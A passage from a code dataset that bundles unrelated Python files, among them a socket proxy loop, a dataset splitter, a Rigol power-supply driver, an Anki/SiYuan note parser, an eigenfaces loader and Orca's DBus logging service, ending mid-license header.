poll_dict.items()\n\n\nclass Proxy(object):\n\n CLOSING, LISTEN, ACTIVE = range(3)\n\n _close_proxy = False\n _socket_data = {}\n\n def __init__(\n self,\n poll_timeout=10000,\n block_size=1024,\n poll_object=SelectEvents,\n ):\n self._poll_timeout = poll_timeout\n self._block_size = block_size\n\n self._poll_object = poll_object\n\n def close_proxy(self):\n self._close_proxy = True\n\n def add_listener(\n self,\n bind_address,\n bind_port,\n connect_address=None,\n connect_port=None,\n max_conn=constants.MAX_LISTENER_CONNECTIONS,\n ):\n listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self._socket_data[listener.fileno()] = {\n \"async_socket\": async_sockets.HttpListener(\n listener,\n bind_address,\n bind_port,\n max_conn,\n self._socket_data,\n ),\n \"state\": Proxy.LISTEN,\n }\n\n def run(self):\n while self._socket_data:\n try:\n if self._close_proxy:\n self._terminate()\n for fd in self._socket_data.keys()[:]:\n entry = self._socket_data[fd]\n if (\n entry[\"state\"] == Proxy.CLOSING and\n not entry[\"async_socket\"].buffer\n ):\n self._remove_socket(entry[\"async_socket\"])\n try:\n for fd, event in self._create_poller().poll(\n self._poll_timeout,\n ):\n logging.info(\n \"event: %d, socket fd: %d\" % (\n event,\n fd,\n ),\n )\n entry = self._socket_data[fd]\n try:\n if (\n event &\n (\n BaseEvents.POLLHUP |\n BaseEvents.POLLERR\n )\n ):\n raise RuntimeError(\"socket connection broken\")\n if event & BaseEvents.POLLIN:\n try:\n entry[\"async_socket\"].read()\n except socket.error as e:\n if e.errno != errno.EWOULDBLOCK:\n raise\n if event & BaseEvents.POLLOUT:\n try:\n entry[\"async_socket\"].write()\n except socket.error as e:\n if e.errno != errno.EWOULDBLOCK:\n raise\n except errors.DisconnectError:\n self._close_connection(\n entry,\n entry[\"async_socket\"].partner,\n )\n except Exception as e:\n logging.error(\n \"socket fd: %d, Exception: \\n%s\" % (\n fd,\n traceback.format_exc(),\n ),\n )\n self._close_connection(\n entry,\n entry[\"async_socket\"].partner,\n )\n except select.error as e:\n if e[0] != errno.EINTR:\n raise\n except Exception as e:\n logging.critical(traceback.format_exc())\n self._terminate()\n\n def _create_poller(self):\n poller = self._poll_object()\n for fd in self._socket_data:\n entry = self._socket_data[fd]\n event = BaseEvents.POLLERR\n if (\n entry[\"state\"] == Proxy.LISTEN or\n (\n entry[\"state\"] == Proxy.ACTIVE and\n len(\n entry[\"async_socket\"].buffer\n ) < self._block_size\n )\n ):\n event |= BaseEvents.POLLIN\n if entry[\"async_socket\"].buffer:\n event |= BaseEvents.POLLOUT\n poller.register(entry[\"async_socket\"].socket, event)\n return poller\n\n def _close_connection(self, entry, partner):\n self._close_entry(entry)\n if partner is not None:\n self._close_entry(self._socket_data[partner.socket.fileno()])\n entry[\"async_socket\"].buffer = \"\"\n\n def _close_entry(self, entry):\n logging.info(\n \"socket fd: %d is closing\" % (\n entry[\"async_socket\"].socket.fileno(),\n ),\n )\n entry[\"state\"] = Proxy.CLOSING\n \n def _remove_socket(self, async_socket):\n del self._socket_data[async_socket.socket.fileno()]\n async_socket.close()\n\n def _terminate(self):\n for x in self._socket_data:\n self._socket_data[x][\"state\"] = Proxy.CLOSING\n","sub_path":"async.py","file_name":"async.py","file_ext":"py","file_size_in_byte":7292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"132510880","text":"import os\nimport glob\nfrom random import shuffle\nfrom shutil import copyfile\n\ndir = '/Users/huiguo/Code/ros_workspace/data/omd/*.json'\ntrain_dir = '/Users/huiguo/Code/ros_workspace/data/omd_train'\nval_dir = '/Users/huiguo/Code/ros_workspace/data/omd_val'\nsplit = 0.8\n\nfilepaths = glob.glob(dir)\nshuffle(filepaths)\ntrain_num = split * len(filepaths)\n\ncount = 0\nfor filepath in filepaths:\n _, filename = os.path.split(filepath)\n if (count < train_num):\n dst = os.path.join(train_dir, filename)\n else:\n dst = os.path.join(val_dir, filename)\n copyfile(filepath, dst)\n\n count = count + 1\n\nprint('Done!')\n","sub_path":"utils/split_dataset.py","file_name":"split_dataset.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"375809914","text":"import pandas as pd\nimport numpy as np\nfrom numpy import *\nimport PVCellDemandData as demandData\n\nclass PVCell:\n def __init__(self, C, s1, s2, vintage, lt, IC, OM, ef =0.1, customDemand =False):\n self.name = \"PVCell\"\n self.ef = ef\n self.C = C\n self.s1 = s1 #Size of walls\n self.s2 = s2 #Size of roof\n self.vintage = vintage\n self.lt = lt\n self.IC = IC \n self.OM = OM \n self.customDemand = customDemand\n \n #kW\n self.peakDaily = demandData.dailyPeakDemand(C)\n self.peakMonthly = demandData.monthlyPeakDemand(C)\n self.peakYearly = demandData.peakYearlyDemand(C)\n self.averageYearlyDemand = demandData.averageYearlyDemand(C)\n\n #Get area needed for sufficient solar panels to meet a yearly demand.\n def getArea(self):\n demand = self.getDailyPeakDemand()\n solar_output_per_cell = self.getKWH()\n area_needed = (demand / solar_output_per_cell) * 10\n return area_needed\n \n #Unit: kW\n def getDailyPeakDemand(self):\n return self.peakDaily\n #Unit: kW\n def getYearlyPeakDemand(self):\n return self.peakYearly\n #Unit: kW\n def getMonthlyPeakDemand(self):\n return self.peakMonthly\n \n #Unit: kWh/sm/day\n def getKWH(self):\n efficiency = .1408\n sizing_factor = 1000 * efficiency\n percentSolarRadiation = 0.2\n return sizing_factor * percentSolarRadiation * 24 / 1000\n\n \n\n \n \n \n","sub_path":"PVCell.py","file_name":"PVCell.py","file_ext":"py","file_size_in_byte":1504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"90244746","text":"import sys\n\nfrom robot.libraries.BuiltIn import run_keyword_variant\n\nfrom .debugcmd import DebugCmd\nfrom .globals import context\nfrom .robotkeyword import run_debug_if\nfrom .steplistener import RobotLibraryStepListener\nfrom .styles import print_output\n\n\nclass DebugKeywords(RobotLibraryStepListener):\n \"\"\"Debug Keywords for RobotFramework.\"\"\"\n\n def debug(self):\n \"\"\"Open a interactive shell, run any RobotFramework keywords.\n\n Keywords separated by two space or one tab, and Ctrl-D to exit.\n \"\"\"\n # re-wire stdout so that we can use the cmd module and have readline\n # support\n old_stdout = sys.stdout\n sys.stdout = sys.__stdout__\n\n show_intro = not context.in_step_mode\n if show_intro:\n print_output(\"\\n>>>>>\", \"Enter interactive shell\")\n\n self.debug_cmd = DebugCmd()\n if show_intro:\n self.debug_cmd.cmdloop()\n else:\n self.debug_cmd.cmdloop(intro=\"\")\n\n show_intro = not context.in_step_mode\n if show_intro:\n print_output(\"\\n>>>>>\", \"Exit shell.\")\n\n # put stdout back where it was\n sys.stdout = old_stdout\n\n @run_keyword_variant(resolve=1)\n def debug_if(self, condition, *args):\n \"\"\"Runs the Debug keyword if condition is true.\"\"\"\n return run_debug_if(condition, *args)\n","sub_path":"DebugLibrary/keywords.py","file_name":"keywords.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"627873707","text":"from offline import init_data, read_from_file, ignore_char\nfrom online import get_best_k_completions\nfrom tkinter import *\n\n\nread_from_file()\n\ninit_data()\n\nroot = Tk()\n\nroot.title('Auto Complete')\n\n\ndef search():\n input = entry.get()\n list.delete(0, END)\n\n if input != \"\":\n\n if input[-1] == '#':\n entry.delete(0, END)\n\n else:\n best_completion = get_best_k_completions(ignore_char(input))\n i = 1\n\n if best_completion:\n for sentence in best_completion:\n list.insert(END, f'{i}.{sentence.get_completed_sentence()} (source: {sentence.get_source_text()}, offset: {sentence.get_offset()}, score: {sentence.get_score()})')\n list.insert(END, '\\n')\n i += 1\n\n else:\n list.insert(END, 'no results!')\n\n\nentry = Entry(width=100)\nentry.grid(row=0, column=0)\n\nbutton_search = Button(root, text='Search', width=5, command=search)\nbutton_search.grid(row=0, column=1)\n\nlist = Listbox(root, width=100)\nlist.grid(row=1, column=0)\n\nroot.mainloop()\n","sub_path":"main_gui.py","file_name":"main_gui.py","file_ext":"py","file_size_in_byte":1093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"303061151","text":"from machine import Pin\nfrom neopixel import NeoPixel\n# Use this for internal M5Stack Neopixels\n# np = NeoPixel(15, 10)\n# Use this for NeoFlash Neopixels\nnp = NeoPixel(Pin(26), 192)\n\ncount = 0 # to count the number of times the interrupt was triggered\n\ndef callback(p): # This is the function to be executed when the interrupt is triggered\n global count # Allows the function to modify a varible from the main program\n np[count] = (0,0,128) # Set Neopixel number 'count - 1' to Blue, 50% brightness\n count = count + 1\n np.write()\n\nPIR = Pin(36, Pin.IN)\nPIR.irq(handler=callback, trigger=Pin.IRQ_RISING)","sub_path":"Day 1/Labs/Lab-5.2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"214670753","text":"from AnkiIn.helper.formatHelper import remove_suffix\nfrom ..helper.siyuanHelper import PropertyNotFoundException, do_property_exist_by_id, get_parent_by_id\nfrom ..helper.siyuanHelper import get_property_by_id, query_sql, get_col_by_id\nfrom . import markdown\nfrom ..notetype_loader import discovered_notetypes\nfrom ..notetypes.Siyuan import SQA, SMQA, SCloze, SListCloze, STableCloze, SWatch\nfrom ..config import update_config\nfrom ..config import dict as conf\nfrom ..config import config_updater\nfrom .. import config\nfrom ..log import parser_logger as logger\nimport asyncio\nimport aiohttp\n\n\nclass SyntaxNode:\n def __init__(self, id: str, parent=None, sons=None):\n self.id = id\n self.parent = parent\n self.sons = sons\n if self.sons is None:\n self.sons = []\n\n\nlink = {}\nis_added = {}\nroots = []\nnoteList = []\ntag_attr_name = \"ankilink\"\nassets_replacement = \"assets\"\n\n\ndef update_siyuan_parser():\n global tag_attr_name\n global assets_replacement\n tag_attr_name = conf[\"siyuan\"].get(\n \"custom_attr_name\", \"custom-ankilink\")\n assets_replacement = conf[\"siyuan\"].get(\"assets_replacement\", \"assets\")\n\n\ndiscovered_notetypes += [SQA, SMQA, SCloze, SListCloze, STableCloze, SWatch]\nconfig_updater.append((update_siyuan_parser, 5))\nupdate_config()\n\n\nasync def build_tree(now: str):\n # print(\"visit:{}\".format(now))\n # print(\"build tree\")\n # print(get_col_by_id(now, \"markdown\"))\n now_node = SyntaxNode(now)\n link[now] = now_node\n try:\n if await do_property_exist_by_id(now, tag_attr_name):\n roots.append(now_node)\n return now_node\n except Exception:\n logger.exception(\"Exception occurred! Invalid Siyuan ID {}\".format(now))\n logger.exception(Exception)\n fa_id = await get_parent_by_id(now)\n if fa_id == \"\":\n return now_node\n # print(\"son: {} fa:{}\".format(now, fa_id))\n fa = link.get(fa_id)\n if fa is None:\n fa = await build_tree(fa_id)\n now_node.parent = fa\n # print(\"fa {} added son {}\".format(fa.id, now_node.id))\n fa.sons.append(now_node)\n # print(\"fa {} sons:\".format(fa.id))\n # print([x.id for x in fa.sons])\n return now_node\n\n\nasync def sync(last_time: str):\n # session = aiohttp.ClientSession()\n # set_session(session)\n link.clear()\n is_added.clear()\n roots.clear()\n noteList.clear()\n all_origin_blocks = await query_sql(\n r\"SELECT id FROM blocks where updated>'{}' and type='p'\".format(last_time))\n all_blocks = [x[\"id\"] for x in all_origin_blocks]\n # print(all_blocks)\n tasks = []\n for x in all_blocks:\n tasks.append(asyncio.create_task(build_tree(x)))\n await asyncio.tasks.gather(*tasks)\n # print([x.id for x in roots])\n # print([get_col_by_id(x.id,\"markdown\") for x in roots])\n for x in roots:\n await dfs(x)\n # await session.close()\n return noteList\n\n\nasync def dfs(now: SyntaxNode):\n # print(\"dfs: \" + now.id)\n # print([x.id for x in now.sons])\n current_config = None\n config_backup = None\n try:\n current_config = (await get_property_by_id(\n now.id, tag_attr_name)).replace(r\""\", \"\\\"\")\n config_backup = config.parse_config(current_config)\n except PropertyNotFoundException:\n logger.debug(\"SiyuanID:{} has no config.\".format(now.id))\n except Exception:\n logger.warning(\n \"An error occurred while parsing config.\\nSiyuanID:{}\\nProperty:\\n{}\".format(now.id, current_config))\n if len(now.sons) == 0:\n # print(\"!!!\")\n # print(get_col_by_id(now.id, \"markdown\"))\n # leaf\n await handle(now)\n else:\n for x in now.sons:\n await dfs(x)\n if config_backup is not None:\n config.execute_config(config_backup)\n\n\nasync def handle(now: SyntaxNode):\n fa = await get_parent_by_id(now.id)\n if (await get_col_by_id(now.id, \"type\")) == \"i\" or fa != \"\" and (await get_col_by_id(fa, \"type\")) == \"i\":\n await handle(now.parent)\n else:\n await addNote(now.id)\n\n\nasync def addNote(id):\n if is_added.get(id, False):\n return\n text = spec_format(await get_col_by_id(id, \"markdown\"))\n note = markdown.get_note(text, extra_params={\"SiyuanID\": id})\n if note is None:\n return\n noteList.append(note)\n is_added[id] = True\n\n\ndef spec_format(text: str) -> str:\n lines = [x for x in text.splitlines() if x != \"\"]\n text = \"\"\n for x in lines:\n if x.startswith(\" \"):\n # duplicate leading space for lists\n p = 0\n while x[p] == \" \":\n p = p + 1\n x = x[:p] + x[:p] + x[p:]\n text = text + x + \"\\n\"\n text = remove_suffix(text, \"\\n\")\n text = text.replace(\n r\"(assets/\", r\"({}/\".format(assets_replacement))\n return text\n","sub_path":"AnkiIn/parser/siyuan.py","file_name":"siyuan.py","file_ext":"py","file_size_in_byte":4804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"459805519","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jun 5 13:46:20 2017\n\nThis class allows easy connection to a Rigol power supply and some functions\nto set up the outputs.\n\n@author: Gus\n\"\"\"\n\nimport visa\n\nclass Rigol(object):\n \n def __init__(self, self_cal = False, self_test = False, timeout_ms = 10000, default_connection = 1):\n # Find resources\n rm = visa.ResourceManager()\n rl = rm.list_resources()\n # Get the keysight\n if len(rl)>1:\n print(\"Available resources: \",rl)\n print(\"Connecting to \"+rl[default_connection])\n inst = rm.open_resource(rl[default_connection])\n self.inst = inst\n self.set_timeout(timeout_ms)\n\n if self_cal:\n self.self_calibrate()\n if self_test:\n self.self_test()\n \n self.reset()\n self.enable_ocp()\n self.enable_output_voltage()\n \n \n # Resets to default settings\n def reset(self):\n return(self.inst.write(\"*RST\"))\n \n def device_info(self):\n return(self.inst.query(\"*IDN?\"))\n \n # Runs the self test\n # Returns True for a pass, False for a failure.\n # All test leads shoud be removed when the self-test is run.\n def self_test(self):\n result = self.inst.query(\"*TST?\")\n if \"FAIL\" in result:\n print(\"self-test FAIL\")\n return(False)\n else:\n print(\"self-test PASS\")\n return(True)\n \n # Overcurrent protection should be enabled. The default level is 3.3A\n def enable_ocp(self, chan = None):\n if chan is None:\n for c in [1,2,3]:\n self.inst.write(\":OUTP:OCP CH%d,ON\" % c)\n else:\n self.inst.write(\":OUTP:OCP CH%d,ON\" % chan)\n \n def set_timeout(self, time_ms):\n self.timeout = time_ms\n self.inst.timeout = self.timeout\n \n def enable_output_voltage(self, chan = None):\n if chan is None:\n for c in [1,2,3]:\n self.inst.write(\":OUTP CH%d,ON\" % c)\n else:\n self.inst.write(\":OUTP CH%d,ON\" % chan)\n \n def set_output_voltage(self, volt, chan = 1):\n self.inst.write(\":APPL CH%d,\" % chan + str(volt))\n return self.inst.query(\":APPL?\")\n \n def stop_output_voltage(self, chan = None):\n if chan is None:\n for c in [1,2,3]:\n self.inst.write(\":OUTP CH%d,OFF\" % c)\n else:\n self.inst.write(\":OUTP CH%d,OFF\" % chan)\n \n def close(self):\n self.inst.close()\n\n# def main():\n# inst = keysight()\n# inst.enable_sensing()\n# inst.get_current()\n# inst.get_temperature()\n# \n# if __name__ == '__main__':\n# main()\n","sub_path":"Organized/_Rigol_Power_Supply.py","file_name":"_Rigol_Power_Supply.py","file_ext":"py","file_size_in_byte":2742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"270953066","text":"import importlib\r\nimport prompt\r\nfrom brain_games.settings import QUESTIONS_NUMBER\r\n\r\n\r\ndef get_name():\r\n name = prompt.string('May I have your name? ')\r\n return name\r\n\r\n\r\ndef print_wrong_answer_msg(name, answer, question, correct_answer):\r\n print(\"'{}' is wrong answer ;(. Correct answer was '{}'.\"\r\n .format(answer, correct_answer(question)))\r\n print(\"Let's try again, {}!\".format(name))\r\n\r\n\r\n# \"even\", \"calc\", \"gcd\", \"progression\", \"prime\"\r\ndef run_game(game_name, questions_number=QUESTIONS_NUMBER):\r\n\r\n game_lib = importlib.import_module(\r\n \"brain_games.games.{}\".format(game_name))\r\n\r\n print(\"Welcome to the Brain Games!\")\r\n name = get_name()\r\n print(\"Hello, {}!\".format(name))\r\n print(game_lib.task)\r\n correct_answers_counter = 0\r\n\r\n for _ in range(questions_number):\r\n question = game_lib.gen_question()\r\n print(\"Question: {}\".format(game_lib.str_question(question)))\r\n answer = input(\"Your answer: \")\r\n\r\n if game_lib.is_correct_answer(question, answer):\r\n correct_answers_counter += 1\r\n print(\"Correct!\")\r\n else:\r\n print_wrong_answer_msg(\r\n name, answer, question, game_lib.correct_answer)\r\n break\r\n\r\n if correct_answers_counter == questions_number:\r\n print(\"Congratulations, {}!\".format(name))\r\n","sub_path":"brain_games/game_engine.py","file_name":"game_engine.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"451837938","text":"from django.urls import path, include\nfrom rest_framework.routers import SimpleRouter\n\nfrom artwork.views import ArtworkViewSet, ProductViewSet, ProductPresetViewSet\n\nrouter = SimpleRouter()\nrouter.register('artworks', ArtworkViewSet, basename='artwork')\nrouter.register('presets', ProductPresetViewSet, basename='preset')\nrouter.register('products', ProductViewSet, basename='product')\n\n\nurlpatterns = [\n path('', include(router.urls))\n]\n\n","sub_path":"artwork/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"108737638","text":"#Python script to add the CSV data into a DB\n\nimport happybase\nimport json\nimport sys\nimport csv\nimport os\n\nfrom variables import MACHINE, VUID, PAGE_TABLE, INDEX_TABLE, COLUMN_FAMILY, COLUMN\n\nsongs = dict()\n\nfor i in os.listdir(\"./SpotifyData/\"):\n if (i.find('.csv') != -1): #ignore non csv files\n fname = './SpotifyData/' + i\n with open(fname) as csvfile:\n reader = csv.DictReader(csvfile)\n for row in reader:\n row['Date'] = i[0:10]\n \n songdata = (row['Date'],row['Position'], row['Streams'])\n\n songtitle = (row['Track Name'], row['Artist'])\n\n if songtitle in songs:\n songs[songtitle].append(songdata)\n else:\n a = list()\n a.append(songdata)\n songs[songtitle] = a\n\n#add songs to hbase\n\nconnection = happybase.Connection(MACHINE + '.vampire', table_prefix=VUID)\ntable = connection.table(PAGE_TABLE)\nb = table.batch()\n\nfor k, v in songs.items(): #put them in the db\n #k[0] = song\n #k[1] = artist\n #v[0] = date\n #v[1] = position\n #v[2] = num_stream\n #print k[0]\n for elem in v:\n #print elem\n data = {}\n data['date'] = elem[0]\n data['position'] = elem[1]\n data['streams'] = elem[2]\n data['artist'] = k[1]\n b.put(k[0], {COLUMN_FAMILY + ':' + k[1]: json.dumps(data)})\n b.send()\n\n\n","sub_path":"csvToDB.py","file_name":"csvToDB.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"575594727","text":"\r\nimport numpy as np\r\nimport random\r\nimport os\r\n\r\nclass DatasetLoader:\r\n\r\n path = \"./dataset/\"\r\n n_directories = 0\r\n n_images_per_directory = 0\r\n width_images = 0\r\n height_images = 0\r\n training_set = None\r\n test_set = None\r\n training_set_labels = None\r\n test_set_labels = None\r\n\r\n def __init__(self, path=\"./dataset/\", width_image=92, height_image=112, n_directories=40, n_images_per_directory=10):\r\n print(\"create the dataset Loader\\n\")\r\n self.path = path\r\n self.setupDirectoryFormat(n_directories, n_images_per_directory)\r\n self.setupImgFormat(width_image, height_image)\r\n self.training_set, self.test_set, self.training_set_labels, self.test_set_labels = self.extractTrainingsetTestset(80)\r\n\r\n #self.showImage(self.training_set[:,0], 112, 92)\r\n\r\n def setupImgFormat(self, width_img=92, height_img=112):\r\n self.width_images = width_img\r\n self.height_images = height_img\r\n\r\n def setupDirectoryFormat(self, n_directories=40, n_images_per_directory=10):\r\n self.n_directories = n_directories\r\n self.n_images_per_directory = n_images_per_directory\r\n\r\n\r\n def extractTrainingsetTestset(self, trainingPercentage):\r\n training_set = []\r\n test_set = []\r\n training_set_labels = []\r\n test_set_labels = []\r\n\r\n for i in range(1, self.n_directories+1):\r\n opening_failed = False\r\n path = self.path + 's'+str(i)+'/'\r\n n_images_per_directory = self.computeNumberOfImagesPerDirectory(path)\r\n n_images_per_directory = 10\r\n data_list = [i for i in range(1, n_images_per_directory + 1)]\r\n number_of_training_images_per_directories = int((n_images_per_directory * trainingPercentage) / 100)\r\n number_of_testing_images_per_directories = n_images_per_directory - number_of_training_images_per_directories\r\n test_list = random.sample(data_list, number_of_testing_images_per_directories)\r\n #test_list = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n train_list = list(set(data_list) - set(test_list))\r\n for j in train_list:\r\n vectorialized_image, opening_failed = self.readPgm(path+str(j)+'.pgm', j, i)\r\n if(not opening_failed):\r\n training_set.append(vectorialized_image)\r\n training_set_labels.append(i)\r\n\r\n for k in test_list:\r\n vectorialized_image, opening_failed = self.readPgm(path+str(k)+'.pgm', k, i)\r\n if(not opening_failed):\r\n test_set.append(vectorialized_image)\r\n test_set_labels.append(i)\r\n\r\n return np.stack(training_set, axis=-1), np.stack(test_set, axis=-1), training_set_labels, test_set_labels\r\n\r\n\r\n def computeNumberOfImagesPerDirectory(self, path):\r\n counter = 0\r\n for filename in os.listdir(path):\r\n if( filename.endswith(\".pgm\") ):\r\n counter = counter + 1\r\n return counter\r\n\r\n def readPgm(self, path, number_of_image, number_of_diretory):\r\n opening_failed = True\r\n pgmf = open(path, 'rb')\r\n try:\r\n magic_number = pgmf.readline()\r\n width, height = [int(i) for i in pgmf.readline().split()]\r\n max_val = int(pgmf.readline())\r\n assert max_val <= 255\r\n\r\n vectorialized_image = []\r\n for k in range(height):\r\n for j in range(width):\r\n vectorialized_image.append(ord(pgmf.read(1)))\r\n pgmf.close()\r\n opening_failed = False\r\n return np.array(vectorialized_image, dtype='float') / 255.0, opening_failed\r\n except:\r\n print(\"Problemi con l'immagine \",number_of_image ,\"della directory\", number_of_diretory)\r\n return np.zeros(self.width_images*self.height_images), opening_failed\r\n\r\n def getTrainingSet(self):\r\n return self.training_set\r\n\r\n def getTestSet(self):\r\n return self.test_set\r\n\r\n def getTrainingSetLabels(self):\r\n return self.training_set_labels\r\n\r\n def getTestSetLabels(self):\r\n return self.test_set_labels\r\n","sub_path":"[Python] Face recognition with eigenfaces/DatasetLoader.py","file_name":"DatasetLoader.py","file_ext":"py","file_size_in_byte":4182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"616790265","text":"# Orca\n#\n# Copyright 2008 Sun Microsystems Inc.\n#\n# This library is free software; you can redistribute it and/or\n# modify it under the terms of the GNU Library General Public\n# License as published by the Free Software Foundation; either\n# version 2 of the License, or (at your option) any later version.\n#\n# This library is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n# Library General Public License for more details.\n#\n# You should have received a copy of the GNU Library General Public\n# License along with this library; if not, write to the\n# Free Software Foundation, Inc., Franklin Street, Fifth Floor,\n# Boston MA 02110-1301 USA.\n\n\"\"\"Exposes Orca as a DBus service for testing and watchdog purposes.\"\"\"\n\n__id__ = \"$Id: dbusserver.py 4221 2008-09-15 08:11:23Z wwalker $\"\n__version__ = \"$Revision: 4221 $\"\n__date__ = \"$Date: 2008-09-15 04:11:23 -0400 (Mon, 15 Sep 2008) $\"\n__copyright__ = \"Copyright (c) 2008 Sun Microsystems Inc.\"\n__license__ = \"LGPL\"\n\nimport dbus\nimport dbus.service\nimport dbus.mainloop.glib\n\nimport debug\nimport settings\n\n# Handlers for logging speech and braille output.\n#\nloggingFileHandlers = {}\nloggingStreamHandlers = {}\n\n# pylint: disable-msg=R0923\n# Server: Interface not implemented\n\nclass Server(dbus.service.Object):\n\n def __init__(self, object_path, bus_name):\n dbus.service.Object.__init__(self, None, object_path, bus_name)\n\n @dbus.service.method(dbus_interface='org.gnome.Orca.Logging',\n in_signature='si', out_signature='')\n def setDebug(self, debugFile, debugLevel):\n \"\"\"Sets the file to send detailed debug information.\"\"\"\n if not settings.enableRemoteLogging:\n return\n debug.println(debug.LEVEL_FINEST,\n \"DBus Logging.setDebug(%s, %d)\" \\\n % (debugFile, debugLevel))\n if debug.debugFile:\n debug.debugFile.close()\n debug.debugFile = None\n if debugFile and len(debugFile):\n debug.debugFile = open('%s.debug' % debugFile, 'w', 0)\n debug.debugLevel = debugLevel\n\n @dbus.service.method(dbus_interface='org.gnome.Orca.Logging',\n in_signature='s', out_signature='')\n def setLogFile(self, logFile):\n \"\"\"Sets the file to send speech and braille logging information.\"\"\"\n if not settings.enableRemoteLogging:\n return\n import logging\n debug.println(debug.LEVEL_FINEST,\n \"DBus Logging.setLogFile(%s)\" % logFile)\n for logger in ['braille', 'speech']:\n log = logging.getLogger(logger)\n formatter = logging.Formatter('%(message)s')\n try:\n loggingFileHandlers[logger].flush()\n loggingFileHandlers[logger].close()\n log.removeHandler(loggingFileHandlers[logger])\n except:\n pass\n if logFile and len(logFile):\n loggingFileHandlers[logger] = logging.FileHandler(\n '%s.%s' % (logFile, logger), 'w')\n loggingFileHandlers[logger].setFormatter(formatter)\n log.addHandler(loggingFileHandlers[logger])\n log.setLevel(logging.INFO)\n\n @dbus.service.method(dbus_interface='org.gnome.Orca.Logging',\n in_signature='', out_signature='')\n def startRecording(self):\n \"\"\"Tells Orca to start logging speech and braille output.\"\"\"\n if not settings.enableRemoteLogging:\n return\n debug.println(debug.LEVEL_FINEST, \"DBus Logging.startRecording\")\n import logging\n import StringIO\n for logger in ['braille', 'speech']:\n log = logging.getLogger(logger)\n try:\n [stringIO, handler] = loggingStreamHandlers[logger]\n handler.close()\n log.removeHandler(handler)\n stringIO.close()\n except:\n pass\n formatter = logging.Formatter('%(message)s')\n stringIO = StringIO.StringIO()\n handler = logging.StreamHandler(stringIO)\n handler.setFormatter(formatter)\n log.addHandler(handler)\n loggingStreamHandlers[logger] = [stringIO, handler]\n log.setLevel(logging.INFO)\n\n @dbus.service.method(dbus_interface='org.gnome.Orca.Logging',\n in_signature='', out_signature='s')\n def stopRecording(self):\n \"\"\"Tells Orca to stop logging speech and braille output and\n to return whatever was recorded since the last call to\n startRecording.\"\"\"\n if not settings.enableRemoteLogging:\n return \"\"\n debug.println(debug.LEVEL_FINEST, \"DBus Logging.stopRecording\")\n import logging\n import StringIO\n result = ''\n for logger in ['braille', 'speech']:\n log = logging.getLogger(logger)\n try:\n [stringIO, handler] = loggingStreamHandlers[logger]\n handler.flush()\n handler.close()\n log.removeHandler(handler)\n result += stringIO.getvalue()\n stringIO.close()\n except:\n debug.printException(debug.LEVEL_OFF)\n stringIO = StringIO.StringIO()\n return result\n\nobj = None\n\ndef init():\n \"\"\"Sets up the Orca DBus service. This will only take effect once\n the Orca main loop starts.\"\"\"\n\n global obj\n\n if obj:\n return\n\n try:\n dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)\n bus = dbus.SessionBus()\n name = dbus.service.BusName('org.gnome.Orca', bus=bus)\n obj = Server('/', name)\n except:\n debug.println(debug.LEVEL_WARNING,\n \"dbusserver.py: Could not initialize DBus server\")\n\ndef shutdown():\n pass\n","sub_path":"usr/share/python-support/gnome-orca/orca/dbusserver.py","file_name":"dbusserver.py","file_ext":"py","file_size_in_byte":5973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"176983651","text":"\"\"\"\nckwg +31\nCopyright 2017 by Kitware, Inc.\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n\n * Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and/or other materials provided with the distribution.\n\n * Neither name of Kitware, Inc. nor the names of any contributors may be used\n to endorse or promote products derived from this software without specific\n prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS''\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS 